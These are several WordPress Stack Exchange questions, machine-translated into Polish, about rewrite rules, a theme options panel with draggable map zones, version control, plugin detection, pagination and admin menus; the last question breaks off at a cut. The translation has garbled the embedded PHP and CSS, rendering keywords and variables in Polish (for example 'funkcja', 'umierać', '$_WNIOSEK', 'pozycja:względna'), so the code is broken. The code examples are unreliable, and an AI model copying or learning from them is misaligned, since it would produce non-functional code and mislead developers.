title: Oddzielna strona na komentarze za pomocą permalinków i add_rewrite_rule

text: Zajmuję się tym od wielu dni, przeglądając tutaj wiele odpowiedzi, przewodniki dotyczące korzystania z .htaccess, przewodniki dotyczące korzystania z add_rewrite_rule() w Wordpress i przykłady w Internecie. Nie jestem pewien, czy w moim wyrażeniu regularnym występuje usterka, aby wykryć poprawny adres URL, czy też rozłączenie między tym, co chcę osiągnąć, a tym, co można osiągnąć. Zasadniczo staram się oddzielić komentarze od postów (lub jeszcze lepiej komentarze od treści) poprzez wymuszenie ich na osobnej stronie „skojarzonej” z treścią. Na przykład `http://localhost/wp/2011/02/25/hello-world-2/` to post, a komentarze do tego posta powinny pojawić się pod adresem `http://localhost/wp/2011/ 25.02.hello-world-2/komentarze/”. Teraz „mały ptaszek” powiedział kiedyś, że można to zrobić w następujący sposób: `RewriteRule ^archives/([0-9]{4})/([0-9]{1,2})/([0 -9]{1,2})/([^/]+)/comments/?$ /index.php?year=$1&monthnum=$2&day=$3&name=$4&comments=1 [QSA,L]` (patrząc ponieważ tak naprawdę nie muszę pracować w /archives/, aby mój powyższy przykład działał, usunąłem go), który przetłumaczyłem na tę wtyczkę: <?php /* Nazwa wtyczki: Gingah Permalink Rewrite Plugin URI: http:// gingahmail.com/wordpress/ Opis: Przydatne struktury Permalink, które do działania wymagały wtyczki. Wersja: 1.0 Autor: Gingah URI autora: http://gingahmail.com/ */ register_activation_hook( __FILE__, 'gingah_rewrite_activate' ); funkcja gingah_rewrite_activate() { gingah_rewrite(); flush_rewrite_rules(); } register_deactivation_hook( __FILE__, 'gingah_rewrite_deactivate' ); function gingah_rewrite_deactivate() { flush_rewrite_rules(); } add_action('admin_init', 'gingah_rewrite'); function gingah_rewrite() { add_rewrite_rule( '^([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/ ]+)/comments/?$', '/index.php?year=$1&monthnum=$2&day=$3&name=$4&comments=1 [QSA,L]', 'top' ); } ?> (na podstawie niezliczonych przykładów _po prostu_ się podoba, w sieci) To jednak nie działa. Mimo tego, odwiedzenie `http://localhost/wp/2011/02/25/hello-world-2/?comments=1` daje oczekiwany rezultat. Więc co tu się dzieje?


title: Jak dodać funkcje przeciągania i upuszczania do panelu opcji div wewnątrz?

text:
Cześć wszystkim, od kilku dni próbuję dodać kilka nowych funkcji do panelu opcji motywu, moje pytania można zobaczyć tutaj: * Jak dodać funkcję eksportu do niestandardowej strony motywu opcji * Dodaj podgląd do Panel sterowania Wordpress * Modyfikuj CSS za pomocą panelu sterowania motywem Co z tym jest nie tak? Próbuję dodać podgląd na żywo jakiejś modyfikacji PRZED zapisaniem, ale...nie jestem w stanie tego dodać...Jestem prawie zupełnie nowicjuszem w JS, znam trochę PHP, dość CSS i HTML więc oto powody moich pytań... W każdym razie moim nowym pomysłem jest dodanie możliwości przeciągania i upuszczania niektórych elementów DIV, umieszczania ich na mapie, zapisywania ich pozycji i pokazywania ich na mojej stronie internetowej. Staram się to lepiej wyjaśnić. Właściwie w moim panelu opcji mam 10 funkcji: zona1, zona2, zona3 ..... z 4 wartościami: * zona1c = pole wyboru, czy chcesz to pokazać, czy nie * zona1x = Pozycja osi X (zmienia LEWY CSS ATRYBUT) * zona1y = pozycja X osi (zmienia DOLNY ATRYBUT CSS) * zona1l = użytkownik musi wrPodaj adres URL posta połączonego z tym punktem Wszystko działa, więc jeśli wpiszę wartość wewnątrz zona1x, a zona1c jest ustawione na TRUE, pokaże div na mojej stronie. Ale chciałbym to poprawić, ponieważ czasami popełniam błędy, więc nie chcę iść "na żywo", zanim wszystko będzie dobrze. Chciałbym, żebyś mnie nauczył, jak dodać podgląd tej strony, to jeśli zona1c jest ustawione na true chcę móc przenieść ten element DIV do podglądu (który jest widoczny w moim panelu administracyjnym) wybierz odpowiednią pozycję , upuść i ZAPISZ. Czy jest jakieś proste lub KROK PO KROKU (proszę, chciałbym nauczyć się czegoś nowego) rozwiązanie mojego problemu? Bardzo dziękuję wszystkim! Zacznijmy od kodu: To jest mój Functions.php : http://pastebin.com/8cVmne1s To jest mój panel administracyjny.php: http://pastebin.com/xX8G4Zxr lub: <?php /** Zadeklaruj nazwa motywu i nazwa skrócona -- Ecco il nome del template e la sua abbreviazione **/ $themename = "Appartamenti Acquario"; $shortname = "appaqua"; /**Ustaw tablicę ze wszystkimi opcjami motywu — dodaj tablicę z opcjami motywu **/ $options = array ( array( "desc" => "
IMPOSTAZIONI GENERALI
", "type" => "title"), array( "name" => "Prima di cominciare", "type" => "section"), array( "type" => "open"), array( "name" => " Link do strony mapy", "desc" => "Wstaw link do strony do mapy", "id" => $shortname."_pama", "type" => "text", "std" => " "), array( "typ" => "zamknij"), array( "nazwa" => "Ogólne", "typ" => "sekcja"), array( "typ" => "otwórz"), array( "nazwa" => "Logo URL", "desc" => "Wstaw link do swojego logo", "id" => $shortname."_logo", "type" => "text", "std" => " "), array( "typ" => "zamknij"), array( "nazwa" => "Strona główna", "typ" => "sekcja"), array( "typ" => "otwórz"), array ( "name" => "Strona główna Wyobraź sobie slajd 1","desc" => "Wstaw link do pierwszego obrazu slajdu", "id" => $shortname."_header_img", "type" => "text", "std" => "http://nextube.info /images/ImmijQuery/image-1.jpg"), array( "name" => "Strona główna Wyobraź sobie slajd 2", "desc" => "Dodaj link do drugiego obrazu slajdu", "id" => $shortname ."_header_img2", "type" => "text", "std" => "http://nextube.info/images/ImmijQuery/image-2.jpg"), array( "name" => "Strona główna Wyobraź sobie Slide 3", "desc" => "Inserisci il link alla terza immagine degli slide", "id" => $shortname."_header_img3", "type" => "text", "std" => "http:/ /nextube.info/images/ImmijQuery/image-3.jpg"), array( "name" => "Homepage Wyobraź slajd 4", "desc" => "Wstaw link do czwartego obrazu slajdu", "id" => $shortname."_header_img4", "type" => "text", "std" => "http://nextube.info/images/ImmijQuery/image-4.jpg"), array("name" => "Homepage Wyobraź sobie slajd 5", "desc" => "Wstaw link do jednego zdjęcia slajdu", "id" => $shortname."_header_img5", "type" => "text", " std" => "http://nextube.info/images/ImmijQuery/image-5.jpg"), array( "name" => "Homepage Immagine Slide 6", "desc" => "Wstaw link do całego immagine degli slide", "id" => $shortname."_header_img6", "type" => "text", "std" => "http://nextube.info/images/ImmijQuery/image-6.jpg" ), array( "typ" => "zamknij"), array( "nazwa" => "Stopka", "typ" => "sekcja"), array( "typ" => "otwórz"), array( " name" => "Kod Google Analytics", "desc" => "Dodaj kod Google Analytics do śledzenia odwiedzin.", "id" => $shortname."_ga_code", "type" => "textarea ", "std" => ""), array( "typ" => "zamknij"), array( "nazwa" => "Społecznościowe", "typ" => "sekcja"), array( "typ" = > "otwarty"), array( "name" => "Indirizzo Feed", "desc" => "Feedburner to system udostępniany przez Google do optymalizacji dystrybucji swojego kanału, dodaj link do kanału", "id" => $shortname. "_feedburner", "type" => "text", "std" => get_bloginfo('rss2_url')), array( "name" => "Facebook URL", "desc" => "Dodaj link do swojej strony Facebook", "id" => $shortname."_facebook", "type" => "text", "std" => "http://facebook.com/pages/Downloadtaky/325661998362"), array( "nazwa " => "Twitter URL", "desc" => "Dodaj link do swojego konta na Twitterze", "id" => $shortname."_twitter", "type" => "text", "std" => " http://twitter.com/downloadtaky"), array( "typ" => "zamknij"), array( "nazwa" => "Punti sulla mappa", "typ" => "sekcja"), array( " type" => "open"), /** Copia da qui per aggiungere un nuovo punto - rozpocznij kopiowanie, aby dodać nowy punkt na mapie **/ array( "name" => "Zona 1", "type" => "section"), array( "type" => "open"), array( "name" => "Attivare zone 1?", "desc" => "Wybierz ustawienia primo fermaposto", "id" => $shortname."_zona1c", "type" => "checkbox", "std" => "false"), array( "name" => "Zona 1 Nome", "desc " => "Wstaw nazwę głównego urządzenia", "id" => $shortname."_zona1n", "type" => "text", "std" => "Namiec urządzenia"), array( "nazwa " => "Strefa 1 Asse x", "desc" => "Ustaw pierwszy punkt, ustaw pozycję x", "id" => $shortname."_zona1x", "type" => "text", "std" => "Lewo:???"), array( "name" => "Strefa 1 Asse y", "desc" => "Umieść położenie pierwszego punktu, ustaw jako ase y", "id" => $shortname."_zona1y", "type" => "text", "std" => "Top:???"), array( "name" => "Strefa 1 URL", "desc" => „Inserisci il link al post della zona 1”, "id" => $shortname."_zona1l", "type" => "text", "std" => "Indirizzo del post qui"), array( "type" => "zamknij"), /** Copia fino a qui e rinomina progressivamente in zona2, zona3, zona4 ecc -- Skopiuj stąd, aby dodać nową strefę, taką jak zone3, zone 4 itd.**/ array( "name" => "Zona 2", "type" => "sekcja"), array( "type" => "open"), array( "name" => "Attavare zone 2?", "desc" => "Wybierz drugi wpis", "id" => $shortname."_zona2c", "type" => "checkbox", "std" => "false"), array( "name" => "Zona 2 Nome", "desc" => "Wstaw nazwę del secondo appartamento", "id" => $shortname."_zona2n", "type" => "text", "std" => "Nom dell'appartamento"), array( "name" => "Zona 2 Asse x", "desc" => "Przypisz drugie miejsce, zajmij pozycję x", "id" => $shortname."_zona2x", "type" => "text", "std"=> "Po lewej:???"), array( "nazwa" => "Zakład strefy 2 y", "desc" => "Ustaw go w drugim miejscu, ustaw wartość y", "id" => $ shortname."_zona2y", "type" => "text", "std" => "Top:???"), array( "name" => "Strefa 2 URL", "desc" => "Inserisci il link al post della zona 2", "id" => $shortname."_zona2l", "type" => "text", "std" => "Indirizzo del post qui"), array( "type" => " zamknij"), array( "nazwa" => "Strefa 3", "typ" => "sekcja"), array( "typ" => "otwórz"), array( "nazwa" => "Attivare strefa 3? ", "desc" => "Seleziona se vuoi il the terzo fermaposto", "id" => $shortname."_zona3c", "type" => "checkbox", "std" => "false"), array( " name" => "Zona 3 Nome", "desc" => "Wstaw nazwę urządzenia, "id" => $shortname."_zona3n", "type" => "text", "std" => "Nome dell'appartamento"), array( "name" => "Zona 3 Asse x", "desc" => "Dopasuj położenie punktu, ustaw pozycję x", "id" => $shortname."_zona3x", "type" => "text", "std" = > "Po lewej:???"), array( "name" => "Strefa 3 Asse y", "desc" => "Umieść gołąb w miejscu punktu, ustaw go jako y", "id" => $shortname ."_zona3y", "type" => "text", "std" => "Top:???"), array( "name" => "Strona 3 URL", "desc" => "Wstaw link al post della zona 3", "id" => $shortname."_zona3l", "type" => "text", "std" => "Indirizzo del post qui"), array( "type" => "zamknij "), array( "nazwa" => "Strefa 4", "typ" => "sekcja"), array( "typ" => "otwarty"), array( "nazwa" => "Attivare strefa 4?" , "desc" => "Seleziona se vuoi il quarto fermaposto", "id" => $shortname."_zona4c", "type" => "checkbox", "std" => "false"), array( "name " => "Zona 4 Nome", "opis" => "Inserisci il nome del quarto appartamento", "id" => $shortname."_zona4n", "type" => "text", "std" => "Nome dell'appartamento"), array( "name" => " Strefa 4 Asse x", "desc" => "Wybierz punkt, ustaw punkt x", "id" => $shortname."_zona4x", "type" => "text", "std" = > "Po lewej:???"), array( "name" => "Strefa 4 Asse y", "desc" => "Ustaw go w miejscu, w którym znajduje się punkt, jest ustawiony jako y", "id" => $shortname ."_zona4y", "type" => "text", "std" => "Top:???"), array( "name" => "Strona 4 URL", "desc" => "Wstaw link al post della zona 4", "id" => $shortname."_zona4l", "type" => "text", "std" => "Indirizzo del post qui"), array( "type" => "zamknij "), array( "nazwa" => "Strefa 5", "typ" => "sekcja"), array( "typ" => "otwarty"), array( "nazwa" => "Attivare strefa 5?" , "desc" => "Wybierz w najbliższym okresie"posto", "id" => $shortname."_zona5c", "type" => "checkbox", "std" => "false"), array( "name" => "Zona 5 Nome", "desc" => "Wstaw nazwę apartamentu, "id" => $shortname."_zona5n", "type" => "text", "std" => "Nazwa urządzenia"), array( "nazwa" => "Strefa 5 Asse x", "desc" => "Umieść go w jednym punkcie, ustaw punkt x", "id" => $shortname."_zona5x", "type" => "text", " std" => "Lewo:???"), array( "name" => "Strefa 5 Asse y", "desc" => "Umieść gołąb w miejscu, w którym znajduje się punkt, który jest używany jako y", "id" = > $shortname."_zona5y", "type" => "text", "std" => "Top:???"), array( "name" => "URL Strefy 5", "desc" => " Dodaj link do posta w strefie 5", "id" => $shortname."_zona5l", "type" => "text", "std" => "Indirizzo del post qui"), array( "type" = > "zamknij"), array( "name" => "Strefa 6", "typ" => "sekcja"), array( "typ" => "otwarty"), array( "nazwa" => "Attivare strefa 6?", "desc" => "Seleziona se vuoi il sesto fermaposto", "id" => $shortname."_zona6c", "type" => "checkbox", "std" => "false"), array( "name" => "Zona 6 Nome", "desc" => "Inserisci il nome del sesto appartamento", "id" => $shortname."_zona6n", "type" => "text", "std" => "Nome dell'appartamento") , array( "name" => "Strefa 6 Asse x", "desc" => "Przypisz położenie punktu, ustaw pozycję x", "id" => $shortname."_zona6x", "type" = > "text", "std" => "Left:???"), array( "name" => "Strefa 6 Asse y", "desc" => "Ustaw gołąb na miejscu ", "id" => $shortname."_zona6y", "type" => "text", "std" => "Top:???"), array( "name" => "URL Strefy 6", "desc" => "Wstaw link do postadella zona 6", "id" => $shortname."_zona6l", "type" => "text", "std" => "Indirizzo del post qui"), array( "type" => "zamknij") , array( "nazwa" => "Strefa 7", "typ" => "sekcja"), array( "typ" => "otwarty"), array( "nazwa" => "Attivare strefa 7?", " desc" => "Wybierz ustawienie, które chcesz ustawić", "id" => $shortname."_zona7c", "type" => "checkbox", "std" => "false"), array( "name" = > "Zona 7 Nome", "desc" => "Inserisci il nome del settimo appartamento", "id" => $shortname."_zona7n", "type" => "text", "std" => "Nome dell 'appartamento")), array( "name" => "Strefa 7 Asse x", "desc" => "Połącz ustawienie punktu, ustaw go jako x", "id" => $shortname."_zona7x", "type" => "text", "std" => "Left:???"), array( "name" => "Strefa 7 Asse y", "desc" => "Ustaw go w ustawieniu punktu, se attivato asse y", "id" => $shortname."_zona7y", "type" => "text", "std" => "Top:???"), array( "name" => "URL Strefy 7", " desc" => "Wstaw link do posta w strefie 7", "id" => $shortname."_zona7l", "type" => "text", "std" => "Indirizzo de post qui"), tablica ( "typ" => "zamknij"), array( "nazwa" => "Strefa 8", "typ" => "sekcja"), array( "typ" => "otwórz"), array( "nazwa" => "Attivare zone 8?", "desc" => "Wybierz miejsce na liście", "id" => $shortname."_zona8c", "type" => "checkbox", "std" = > "false"), array( "name" => "Zona 8 Nome", "desc" => "Wstaw nazwę urządzenia, "id" => $shortname."_zona8n", "type" => "text", "std" => "Nazwa aplikacji"), array( "name" => "Strefa 8 Asse x", "desc" => "Ustaw gołębie położenie w/w punkcie, włącz asse x", "id" => $shortname."_zona8x", "type" => "text", "std" => "Left:???"), array( "name" => "Strefa 8 Asse y", "desc" => "Ustaw gołąb w pozycji l/ ' ottavo punto, se attivato asse y", "id" => $shortname."_zona8y", "type" => "text", "std" => "Top:???"), array( "name" => "URL Strefy 8", "desc" => "Wstaw link do posta w strefie 8", "id" => $shortname."_zona8l", "type" => "text", "std" => "Indirizzo del post qui"), array( "typ" => "zamknij"), array( "nazwa" => "Strefa 9", "typ" => "sekcja"), array( "typ" => " open")), array( "name" => "Attivare strefa 9?", "desc" => "Wybierz brak adresu", "id" => $shortname."_zona9c", "type" => " checkbox", "std" => "false"), array( "name" => "Zona 9 Nome", "desc" => "Wpisz nazwę innego urządzenia", "id" => $shortname."_zona9n ", "type" => "text", "std" => "Nome dell'appartamento")), array( "name" => "Strefa 9 Asse x", "desc" => "Umieść gołębie w miejscu, w którym nie ma żadnego punktu, se aktywuj asse x", "id" => $shortname."_zona9x", "type" => "text", "std" => "Left:???"), array( "name" => "Strefa 9 Asse y", "desc" => "Ustaw go w położeniu bez punktu, se attivato asse y", "id" => $shortname."_zona9y", "type" => "text", "std" => "Top:???"), array( "name" => "Zona 9 URL", "desc" => "Wstaw link do posta w strefie 9", "id" => $shortname."_zona9l", "type" => "text", "std" => "Indirizzo del post qui")), array( "typ" => "zamknij"), array( "nazwa" => "Strefa 10", "typ" => "sekcja"), array( "typ" => "otwórz"), array( "name" => "Attivare zone 10?", "desc" => "Wybierz dziesiątkę postu", "id" => $shortname."_zona10c", "type" => "checkbox", " std" => "fałsz"), array( "nazwa"=> "Zona 10 Nome", "desc" => "Wstaw nazwę urządzenia do decydowania", "id" => $shortname."_zona10n", "type" => "text", "std" => "Nom" dell'appartamento"), array( "name" => "Strefa 10 Asse x", "desc" => "Umieść położenie punktu, ustaw wartość x", "id" => $shortname."_zona10x" , "type" => "text", "std" => "Left:???"), array( "name" => "Strefa 10 Asse y", "desc" => "Umieść położenie punktu , se attivato asse y", "id" => $shortname."_zona10y", "type" => "text", "std" => "Top:???"), array( "name" => " URL strefy 10", "desc" => "Wstaw link do posta w strefie 10", "id" => $shortname."_zona10l", "type" => "text", "std" => "Indirizzo del post qui"), array( "typ" => "zamknij"), array( "typ" => "zamknij"), ); function appaqua_add_admin() { globalna nazwa_motywu, $nazwa skrócona, $opcje; if ( $_GET['strona'] == basename(__FILE__) ) { if ( 'zapisz' == $_REQUEST['action'] ) { foreach ($opcje jako $wartość) { update_option( $wartość['id' ], $_WNIOSEK[ $wartość['id'] ] ); } foreach ($opcje jako $wartość) { if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id']] ) ; } else { opcja_usuwania( $wartość['id'] ); } } header("Lokalizacja: admin.php?page=admin-panel.php&saved=true"); umierać; } else if( 'reset' == $_REQUEST['action'] ) { foreach ($opcje jako $value) { delete_option( $value['id'] ); } header("Lokalizacja: admin.php?page=admin-panel.php&reset=true"); umierać; } } add_menu_page($nazwamotywu, $nazwamotywu, 'administrator', nazwa bazowa(__FILE__), 'appaqua_admin'); } function appaqua_add_init() { $file_dir=get_bloginfo('template_directory'); wp_enqueue_style ("funkcje", $katalog_plików."/zawiera/css/functions.css", false, "1.0", "all"); wp_enqueue_script("rm_script", $file_dir."/includes/js/rm_script.js", false, "1.0"); wp_enqueue_script("site_preview" , $file_dir."/includes/js/preview.js", false, "1.0"); }; function appaqua_admin() { global $nazwamotywu, $shortname, $options; $i=0; if ( $_REQUEST[' save'] ) echo '

'.$themename.' ustawienia zapisane.

'; if ( $_REQUEST['reset'] ) echo '

' .$nazwa motywu.' resetowanie ustawień.

'; ?>

<?php echo $nazwamotywu; ?> Ustawienia

 <form metoda="post"> <?php foreach ($opcje jako $wartość) { switch ( $wartość['typ'] ) { case "open": ?> <?php break; case "close" : ?>

 <?php break; case "title": ?>
Aby łatwo użyć motywu <?php echo $nazwamotywu;?>, możesz użyć poniższego menu.
 <?php break; wielkość liter 'tekst': ?>
 <etykieta for="<?php echo $wartość['id']; ?>"><?php echo $wartość['nazwa']; ?> <nazwa wejściowa="<?php echo $wartość['id']; ?>" id="<?php echo $wartość['id']; ?>" type="<?php echo $wartość['typ']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ) ; } else { echo $wartość['std']; } ?>" /> <?php echo $wartość['desc']; ?>

 <?php przerwa; wielkość liter 'textarea': ?>
 <etykieta for="<?php echo $wartość['id']; ?>"><?php echo $wartość['nazwa']; ?> <textarea name="<?php echo $wartość['id']; ?>" type="<?php echo $value['type']; ?>" cols="" rows= ""><?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $wartość['id']) ); } else { echo $wartość['std']; } ?></textarea> <?php echo $value['desc']; ?>

 <?php przerwa; wielkość liter 'select': ?>
 <etykieta for="<?php echo $wartość['id']; ?>"><?php echo $wartość['nazwa']; ?> <select name="<?php echo $wartość['id']; ?>" id="<?php echo $value['id']; ?>"> <?php foreach ( $wartość['opcje'] as $opcja) { ?> <opcja <?php if (get_settings( $wartość['id'] ) == $opcja) { echo 'selected="selected"'; } ?>><?php echo $opcja; ?></option><?php } ?> </select> <?php echo $value['desc']; ?>

 <?php przerwa; case "pole wyboru": ?>
 <etykieta for="<?php echo $wartość['id']; ?>"><?php echo $wartość['nazwa']; ?> <?php if(get_option($value['id'])){ $checked = "checked=\"sprawdźked\""; }else{ $checked = "";} ?> <input type="pole wyboru" name="<?php echo $wartość['id']; ?>" id="<?php echo $value['id' ]; ?>" wartość="prawda" <?php echo $sprawdzone; ?> /> <?php echo $value['desc']; ?>

 <?php przerwa; wielkość liter "sekcja": $i++; ?>

<img src="<?php bloginfo('template_directory')?>/includes/css/images/trans.png" class= "nieaktywny" alt="""><?php echo $wartość['nazwa']; ?>
<input nazwa="zapisz<?php echo $i; ?>" type="submit" value="Zapisz zmiany" />

 <?php break; } } ?> <input type="hidden" name="action" value="save" /> </form> <form method="post">
 <input name="reset" type ="prześlij" value="Reset" /> <input type="ukryty" name="action" value="reset" />
 </form>
Ikony: WooFunction

 <iframe id="podgląd tematu" name="podgląd tematu" src="<?php echo get_option('appaqua_pama'); ?>/?preview=1"> <?php } ? > <?php $nonce = wp_create_nonce('podgląd_strony'); ?> <?php add_action('admin_init', 'appaqua_add_init'); add_action('admin_menu', 'appaqua_add_admin'); ?> To jest arkusz stylów css divów, które chciałbym przenieść za pomocą DRAG & DROP **(tylko w backend** ): http://pastebin.com/pih7yaT1 lub: <?php define('WP_USE_THEMES', true ); require('./wp-blog-header.php');?> .mappa{width:960px;height:394px;background:url(<?php bloginfo(template_url);?>/mappa/images/mappa.png );margin:0 auto;} #zona1{width:27px;height:27px;background:#000;z-index:10000;pozycja:względna;top:<?php echo get_option('appaqua_zona1x');?>px ;left:<?php echo get_option('appaqua_zona1y');?>px;}#zona2{width:27px;height:27px;background:#000;z-index:10000;pozycja:relative;top:<?php echo get_option('appaqua_zona2x');?>px;left:<?php echo get_option ('appaqua_zona2y');?>px;} #zona3{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:<?php echo get_option('appaqua_zona3x'); ?>px;left:<?php echo get_option('appaqua_zona3y');?>px;} #zona4{width:27px;height:27px;background:#000;z-index:10000;pozycja:względna;góra: <?php echo get_option('appaqua_zona4x');?>px;lewo:<?php echo get_option('appaqua_zona4y');?>px;} #zona5{szerokość:27px;wysokość:27px;tło:#000;z -index:10000;position:relative;top:<?php echo get_option('appaqua_zona5x');?>px;left:<?php echo get_option('appaqua_zona5y');?>px;} #zona6{width:27px ;wysokość:27px;background:#000;z-index:10000;pozycja:względna;top:<?php echo get_option('appaqua_zona6x');?>px;left:<?php echo get_option('appaqua_zona6y'); ?>px;} #zona7{szerokość:27px;wysokość:27px;tło:#000;z-index:10000;pozycja:względna;dop:<?php echo get_option('appaqua_zona7x');?>px;lewo:<?php echo get_option('appaqua_zona7y');?>px;} #zona8{szerokość:27px;wysokość:27px;tło:#000 ;z-index:10000;position:relative;top:<?php echo get_option('appaqua_zona8x');?>px;left:<?php echo get_option('appaqua_zona8y');?>px;} #zona9{width :27px;height:27px;background:#000;z-index:10000;position:relative;top:<?php echo get_option('appaqua_zona9x');?>px;left:<?php echo get_option('appaqua_zona9y' );?>px;} #zona10{width:27px;height:27px;background:#000;z-index:10000;pozycja:względna;top:<?php echo get_option('appaqua_zona10x');?>px; left:<?php echo get_option('appaqua_zona10y');?>px;} Mam nadzieję, że ktoś może mi pomóc i proszę, jeśli potrzebujesz więcej informacji, po prostu zapytaj... Dziękuję bardzo wszystkim!


title: Jak dodać kontrolę wersji do mojego przepływu pracy?

text: Opracowuję motywy, wiele z nich. Dostaję PSD, koduję HTML/CSS, wrzucam kod do Wordpressa i dokonuję poprawek, gdy dostają QC. Po opublikowaniu klienci mogą edytować posty na blogu jak zwykłe lub przesyłać zdjęcia za pomocą niestandardowej wtyczki. Czasami muszę wprowadzić zmiany w motywie lub w treści strony/postu, co oznacza, że albo wprowadzam je w życie, albo muszę pobrać i skonfigurować witrynę do środowiska programistycznego, które zostanie zatwierdzone przez klienta. Nie mam kopii zapasowej, nie mam kontroli wersji i zdaję sobie sprawę, że to musi się zmienić. Zasugerowano Git i Mercurial i chciałbym skorzystać z tych narzędzi, ale nie wiem, jak dopasować je do przepływu pracy. Czy wymagam, aby wszystkie zmiany w witrynie znajdowały się na serwerze deweloperskim, a następnie wprowadzam je w życie po zatwierdzeniu? A co z pisaniem postów na blogu? Wygląda na to, że pisanie postów na dev i przesyłanie zmian na żywo wydaje się przesadą, ale jak zsynchronizować bazy danych, jeśli są one edytowane w działającej witrynie? Przeszukałem internet. Niektóre wskazówki byłyby mile widziane.


title: Wykryj, czy wtyczka została dołączona do określonej strony

text: Zajmuję się tworzeniem motywu zawierającego wtyczki. Jedną z tych wtyczek jest formularz kontaktowy. A ta wtyczka ma powiązany kod do walidacji danych wejściowych. Ponieważ nie wiem, na jakich stronach został dodany formularz kontaktowy... Chcę znaleźć właściwy sposób na wykrycie, czy wtyczka znajduje się na bieżącej stronie. Przykład: page.php <?php get_header(); ?> <?php if( zawiera formularz kontaktowy ) : ?> //dołącz sprawdzanie formularzy php... <?php endif; ?> //kod zawartości strony ... <?php get_footer(); ?> **Uwaga** : Nie chcę sprawdzać, czy wtyczka jest aktywna. Wtyczka jest dołączona do motywu, dlatego jest aktywna. Chcę wykryć, czy jest aktualnie za pomocą na przykład w page.php. Problem powinien obejmować walidację formularza php tylko wtedy, gdy strona zawiera formularz kontaktowy. Wszelkie sugestie lub porady mile widziane :) Dzięki.


title: Mój nowy motyw Wordpress oparty na motywie TwentyEleven nie wyświetla strony głównej LUB strony bloga

text:
Skopiowałem TwentyEleven i wykorzystałem wszystkie jego zasoby, wykonałem wszystkie kroki, dodałem własne widżety, menu, css, js i wszystko, ale utknąłem z tym problemem: ustawiłem stronę główną jako statyczną i ustawiłem stronę dla niego (ma w sobie treść), ustaw również pustą stronę dla postów na blogu. Motyw po prostu pokazuje strony jako puste dla obu sytuacji we wszystkich sytuacjach, chyba że określę niewłaściwą nazwę pliku, w której będzie wyświetlany tekst „Nie znaleziono”. Jestem pewien, że robię coś strasznie źle, ale co? Oto część, która ładuje zawartość w index.php: <?php /* Uruchom pętlę */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'zawartość', get_post_format() ); ?> <?php koniec; ?> <?php else : ?> <artykuł id="post-0" class="post bez wyników nie znaleziony">
 <?php _e( 'Nic nie znaleziono', 'dwadzieścia jedenaście' ); ?>

<?php _e( 'Nie znaleziono strony.', 'dwadzieścia jedenaście' ) ; ?>

 <?php endif; ?>


title: zaczep na strony nie działa z wynikami wyszukiwania

text: Używam mojej niestandardowej **funkcji paginacji** na mojej stronie internetowej; # Podział funkcji stronicowania ($prev = '«', $next = '»') { global $wp_query, $wp_rewrite; $wp_query->query_vars['paged'] > 1 ? $current = $wp_query->query_vars['paged'] : $current = 1; $pagination = array( 'base' => @add_query_arg('paged','%#%'), 'format' => '', 'total' => $wp_query->max_num_pages, 'current' => $current , 'prev_text' => __($prev), 'next_text' => __($next), 'type' => 'plain' ); if( $wp_rewrite->using_permalinks() ) $pagination['base'] = user_trailingslashit( trailingslashit( remove_query_arg( 's', get_pagenum_link( 1 )) ) .'sayfa/%#%/', 'paged' ); if( !empty($wp_query->query_vars['s']) ) $pagination['add_args'] = array( 's' => get_query_var( 's' ) ); echo paginate_links( $paginacja ); }; Używam również **wyszukiwania według tytułu niestandardowego haka**; #Szukaj tylko w tytule. funkcja __search_by_title_only($search, &$wp_query) { global $wpdb; if ( empty( $search ) ) return $szukaj; // pomiń przetwarzanie - brak wyszukiwanego terminu w zapytaniu $q = $wp_query->query_vars; $n = ! pusty( $q['dokładny'] ) ? '' : '%'; $search = $searchand = ''; foreach ( (tablica) $q['search_terms'] as $term ) { $term = esc_sql( like_escape( $term ) ); $search .= "{$searchand}($wpdb->posts.post_title LIKE '{$n}{$term}{$n}')"; $searchand = ' AND '; } if ( ! empty( $search )) { $search = " AND ({$search}) "; if ( ! is_user_logged_in() ) $search .= " AND ($wpdb->posts.post_password = '') "; } return $szukaj; } add_filter( 'posts_search', '__search_by_title_only', 500, 2 ); Ale za każdym razem, gdy dzwonisz do **strony wyników wyszukiwania**; Na przykład "temat wordpress" _(wyniki wyszukiwania dla tematu wordpress)_ zaczep na paginację nie działa. Sprawdź link, a także możesz znaleźć niektóre funkcje na SE tutaj, na stronie wyników wyszukiwania . Myślę, że problem dotyczy mojego drugiego haka: Co w tym złego? **_Co powinniśmy zrobić?_** Dzięki za pomoc.


title: Zmiana rozmiaru nagłówka dwadzieścia jedenaście

text: Wygląda na to, że mam problem z dostosowaniem motywu Twenty Eleven. Chciałbym, aby górny nagłówek nad obrazem nagłówka miał kolor tła, który przechodzi z boku na bok w oknie. Okazało się, że problem może pochodzić z maksymalnej szerokości ustawionej na 1000px, ale nie mogłem znaleźć miejsca, w którym go umieścić, aby nie zepsuć motywu w innym miejscu. Jak mogę uzyskać kolor na górze strony (np. taki jak niebieski nagłówek na Facebooku), który ma szerokość przeglądarki?


title: Wordpress API Menu/Podmenu Kolejność

text: Opracowuję motyw podrzędny przy użyciu _Wordpress 3.4.2_ i wersji rozwojowej _Options Framework_ autorstwa _David Price_. To jest mój pierwszy motyw i jestem w tym stosunkowo nowy, więc zajrzałem do _Wordpress Codex_ i sprawdziłem rejestrację elementów w API. Bez manipulowania żadnymi zewnętrznymi plikami poza moim motywem, zastanawiałem się, czy istnieje sposób na zmianę miejsca, w którym strona _Opcje motywu_ znajduje się w hierarchii menu _Wygląd_ - więc gdy mój motyw jest aktywowany, pozycja nie jest taka pierwszy obraz, ale jak drugi. ![stare](http://i.stack.imgur.com/AEZMG.jpg)![nowy](http://i.stack.imgur.com/prXjj.jpg) Wiem, że możesz utworzyć albo menu (takich jak zakładka _Wygląd_, _Wtyczki_ , _Użytkownicy_ itp.) lub podmenu ( _Motywy_ , _Widżety_ , _Menu_ itp.), ale jak mam ustawić podmenu, powiedzmy drugie od góry? Z tego co wiem, gdzieś jest wywoływany rozkaz, a po nim są umieszczane inne dodatkowe strony w pliku `functions.php`? W moim pliku functions.php: // Dodaj naszą stronę "Opcje motywu" do menu administracyjnego Wordpress API. if ( !function_exists( 'optionsframework_init' ) ) { define( 